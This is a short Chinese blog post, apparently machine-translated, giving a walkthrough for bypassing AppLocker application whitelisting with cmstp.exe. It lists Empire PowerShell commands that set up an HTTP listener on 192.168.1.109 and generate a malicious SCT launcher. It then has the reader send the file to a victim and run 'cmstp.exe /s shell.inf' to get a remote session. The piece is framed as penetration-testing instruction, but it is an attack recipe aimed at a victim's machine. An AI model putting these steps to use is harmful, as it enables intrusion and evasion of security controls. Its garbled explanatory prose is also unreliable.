使用cmstp绕过应用程序白名单

默认情况下,Applocker允许在文件夹中执行二进制文件,这是可以绕过二进制文件的主要原因。已经发现,这样的二进制文件可以轻松地用于绕过Applocker和UAC。与Microsoft相关的此类二进制文件之一是CMSTP。CMSTP欢迎使用INF文件,因此可以通过INF进行利用。因此,我们将学习如何进行这种利用。

诸如cmstp.exe之类的非框架过程从您在系统上引入的编程开始。由于大多数应用程序将信息存储在硬盘驱动器和系统的注册表中。它上面写有机器代码。如果您在系统上启动产品Microsoft(R)Connection Manager,则cmstp.exe中包含的说明将在您的系统上运行。因此,记录被堆叠到主内存(RAM)中,并作为Microsoft Connection Manager配置文件安装程序进程(在其他情况下称为差事)继续运行。众所周知,CMSTP会接受SCT文件并随后运行,而无需怀疑,因此,我们将创建一个恶意SCT文件以实现我们的目标。我们将为此使用Empire PowerShell。有关Empire PowerShell的详细指南,请单击此处

从Kali终端启动empire框架,然后键入以下命令来创建您的恶意软件:

listeners

uselistener http

set Host 192.168.1.109

execute

上面的命令将为您创建一个侦听器,然后键入back以从侦听器界面返回,就像创建SCT文件类型一样:

usestager windows/launcher_sct

set Listener HTTP

execute

运行上述漏洞利用将创建您的SCT文件。我们将使用以下脚本在PowerShell中执行文件。在此脚本中,提供SCT文件的路径,并添加以下行,如图所示。

此处下载此脚本:

现在,将文件发送到受害者的PC并在受害者的命令提示符下运行以下命令:

cmstp.exe /s shell.inf

运行命令后,您将立即进行会话。使用以下命令访问您的会话:

interact <session name>

这样,您可以使用CMSTP二进制文件绕过applocker限制。CMSTP需要一个INF文件,并且可以利用您的优点来访问受害者的PC。

posted @ 2020-09-28 15:29  我要变超人  阅读(224)  评论(0编辑  收藏  举报